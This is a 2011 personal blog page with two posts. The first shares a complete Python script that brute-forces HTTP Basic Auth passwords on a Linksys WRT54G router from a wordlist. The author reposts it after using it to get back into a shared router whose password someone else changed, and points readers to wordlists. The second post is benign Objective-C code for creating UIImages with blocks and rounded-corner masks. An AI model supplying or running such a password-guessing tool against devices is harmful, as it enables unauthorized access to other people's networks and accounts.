Sunday, September 18, 2011

Brute forcing Router passwords

Someone in my house decided to change the password of the router. We share the access with about 10+ people, not all of whom i know so simply asking wasn't really an option. So like any normal person, i searched the internet and found a python script that does HTTP Auth brute forcing. The Indentation was out of whack, so once i fixed it, i thought i ought to share it with everyone.


#!usr/bin/python
#Linksys WRT54G router brute force
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import threading, time, random, sys, urllib2, socket
if len(sys.argv) !=4:
print "Usage: ./linksysbrute.py <server> <user> <wordlist>"
sys.exit(1)
try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)
username = sys.argv[2]
def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
lock.release()
return value[0][:-1]
def getauth(url):
req = urllib2.Request(url)
try:
handle = urllib2.urlopen(req)
except IOError, e:
pass
authline = e.headers.get('www-authenticate', '')
server = e.headers.get('server', '')
return authline, server
class Worker(threading.Thread):
def run(self):
password = getword()
try:
print "-"*12
print "User:",username,"Password:",password
req = urllib2.Request(sys.argv[1])
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, sys.argv[1], username, password)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
fd = opener.open(req)
print "\t\n\n[+] Login successful: Username:",username,"Password:",password,"\n"
print "[+] Retrieved", fd.geturl()
info = fd.info()
for key, value in info.items():
print "%s = %s" % (key, value)
sys.exit(2)
except (urllib2.HTTPError,socket.error):
pass
print "\n\t d3hydr8[at]gmail[dot]com LinksysBrute v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] User:",username
print "[+] Words Loaded:",len(words)
try:
auth, server = getauth(sys.argv[1])
except(AttributeError):
print "\n[-] Connection Failure\n"
sys.exit(1)
if auth.find("WRT54G") == -1:
print "[-] WRT54G Router not found"
print "[+] Server:",server
print "[+]",auth,"\n"
for i in range(len(words)):
work = Worker()
work.setDaemon(1)
work.start()
time.sleep(1)
view raw gistfile1.py hosted with ❤ by GitHub
If you do want to use it yourselves, you'll need a wordlist, which you can find with google's help.

Wednesday, September 07, 2011

Making UIImages with blocks

So i was going to post about something completely different today, but as i was typing i looked at my code, and thought it was verbose and a little bit ugly.

So i made it awesome, and as everyone knows to make your code awesome you add some blocks to it.

My problem was simple, i was faced with the need to create two CGBitmapContext, for the uniformed the following code is required to prepare a bitmap context for drawing.

CGContextRef context;
void *bitmapData;
CGColorSpaceRef colorSpace;
int bitmapByteCount;
int bitmapBytesPerRow;
CGImageRef image;
UIImage *finalImage;
//mask the image with the path
bitmapBytesPerRow = (aSize.width * 4);
bitmapByteCount = (bitmapBytesPerRow * aSize.height);
//Create the color space
colorSpace = CGColorSpaceCreateDeviceRGB();
bitmapData = malloc( bitmapByteCount );
//Check the the buffer is alloc'd
if( bitmapData == NULL ){
NSLog(@"Buffer could not be alloc'd");
}
//Create the context
context = CGBitmapContextCreate(bitmapData, aSize.width, aSize.height, 8, bitmapBytesPerRow, colorSpace, kCGImageAlphaPremultipliedLast);
if( context == NULL ){
NSLog(@"Context could not be created");
}
view raw gistfile1.c hosted with ❤ by GitHub

So after a bit of thought, i decided what i really wanted was a method that did all of this for me, and meant that i didn't have to worry about constantly checking the code for leaks (DRY), and that was pleasant to look at and i came up with the above. The block that you pass in is given a fully formed CGBitmapContext, and the method returns a UIImage generated from that context. Almost like a UIView/CALayer.


-(UIImage*) imageWithSize:(CGSize) aSize block:(void(^)(CGContextRef ctx)) aBlock{
CGContextRef context;
void *bitmapData;
CGColorSpaceRef colorSpace;
int bitmapByteCount;
int bitmapBytesPerRow;
CGImageRef image;
UIImage *finalImage;
//mask the image with the path
bitmapBytesPerRow = (aSize.width * 4);
bitmapByteCount = (bitmapBytesPerRow * aSize.height);
//Create the color space
colorSpace = CGColorSpaceCreateDeviceRGB();
bitmapData = malloc( bitmapByteCount );
//Check the the buffer is alloc'd
if( bitmapData == NULL ){
DebugLog(@"Buffer could not be alloc'd");
}
//Create the context
context = CGBitmapContextCreate(bitmapData, aSize.width, aSize.height, 8, bitmapBytesPerRow, colorSpace, kCGImageAlphaPremultipliedLast);
if( context == NULL ){
DebugLog(@"Context could not be created");
}
//Run the block
aBlock( context );
//transer the data into an UIImage so we can cleanup
image = CGBitmapContextCreateImage(context);
finalImage = [UIImage imageWithCGImage:image];
CGImageRelease(image);
//Clean up
free(bitmapData);
CGColorSpaceRelease(colorSpace);
CGContextRelease(context);
return finalImage;
}
view raw gistfile1.m hosted with ❤ by GitHub

So now your thinking, "Yeah, thats cool, but why the [INSERT FOUR LETTER WORD] would i want to use it ?" Well young grasshopper, have you ever wanted to mask a image in code? You know to do those trendy rounded corners ... well yes you can use CALayer's however the idea of using those off the main thread makes me uneasy, and we all know the cool kids do things in the background.

//Create a pill with the given rect
- (CGPathRef) newPathForRoundedRect:(CGRect)rect radius:(CGFloat)radius
{
CGMutablePathRef retPath = CGPathCreateMutable();
CGRect innerRect = CGRectInset(rect, radius, radius);
CGFloat inside_right = innerRect.origin.x + innerRect.size.width;
CGFloat outside_right = rect.origin.x + rect.size.width;
CGFloat inside_bottom = innerRect.origin.y + innerRect.size.height;
CGFloat outside_bottom = rect.origin.y + rect.size.height;
CGFloat inside_top = innerRect.origin.y;
CGFloat outside_top = rect.origin.y;
CGFloat outside_left = rect.origin.x;
CGPathMoveToPoint(retPath, NULL, innerRect.origin.x, outside_top);
CGPathAddLineToPoint(retPath, NULL, inside_right, outside_top);
CGPathAddArcToPoint(retPath, NULL, outside_right, outside_top, outside_right, inside_top, radius);
CGPathAddLineToPoint(retPath, NULL, outside_right, inside_bottom);
CGPathAddArcToPoint(retPath, NULL, outside_right, outside_bottom, inside_right, outside_bottom, radius);
CGPathAddLineToPoint(retPath, NULL, innerRect.origin.x, outside_bottom);
CGPathAddArcToPoint(retPath, NULL, outside_left, outside_bottom, outside_left, inside_bottom, radius);
CGPathAddLineToPoint(retPath, NULL, outside_left, inside_top);
CGPathAddArcToPoint(retPath, NULL, outside_left, outside_top, innerRect.origin.x, outside_top, radius);
CGPathCloseSubpath(retPath);
return retPath;
}
/**
* Takes a image, gives it rounded corners and returns it
* @param radius The size of the corners
* @param aColor The color of the area outside the masked area, pass nil or clearColor
* @return A newly masked image
*/
-(UIImage*) imageWithRoundedCorners:(CGFloat) radius alphaBackground:(UIColor*) aColor{
return [self imageWithSize:[self size]
block:^(CGContextRef context) {
CGImageRef mask,imageMask,maskedImage;
CGPathRef path;
CGRect rect = CGRectZero;
rect.size = [self size];
//Create a path
path = [self newPathForRoundedRect:rect
radius:radius];
//Fill the rect with a backing color
CGContextSetFillColorWithColor(context, [[UIColor whiteColor] CGColor]);
CGContextFillRect(context, rect);
// Add the path
CGContextAddPath(context, path);
// Fill the path
CGContextSetFillColorWithColor(context, [[UIColor blackColor] CGColor]);
CGContextFillPath(context);
imageMask = CGBitmapContextCreateImage(context);
//Reset the context
CGContextClearRect(context,rect);
mask = CGImageMaskCreate(
CGImageGetWidth(imageMask),
CGImageGetHeight(imageMask),
CGImageGetBitsPerComponent(imageMask),
CGImageGetBitsPerPixel(imageMask),
CGImageGetBytesPerRow(imageMask),
CGImageGetDataProvider(imageMask),
NULL,
false
);
if( !mask ){
//Log failure
DDLogWarn(@"Mask failed");
}
//Mask the image
maskedImage = CGImageCreateWithMask([self CGImage], mask);
//Set a possible background fill color
if( aColor ){
//Fill the rect with the background color
CGContextSetFillColorWithColor(context, [aColor CGColor]);
CGContextFillRect(context, rect);
}
//Then draw the masked image
CGContextDrawImage(context, rect, maskedImage);
//Clean up
CGImageRelease(maskedImage);
CGPathRelease(path);
}];
}
view raw gistfile1.m hosted with ❤ by GitHub

The above actually creates a rounded rect on the fly, and masks the image with it. It's made to be used in a category on UIImage. But look closer, yep thats right kids, no boiler plate, ZERO, NADA, 另, SQUAT (i think you get the point)!

I should take a moment to mention that the awesome code for the rounded rect comes from the awesome Oliver Drobnik, i have the utmost respect for this guy, not just for this snippet, but if you've ever seen his Rich text label and it's associated projects, you'll understand why real soon.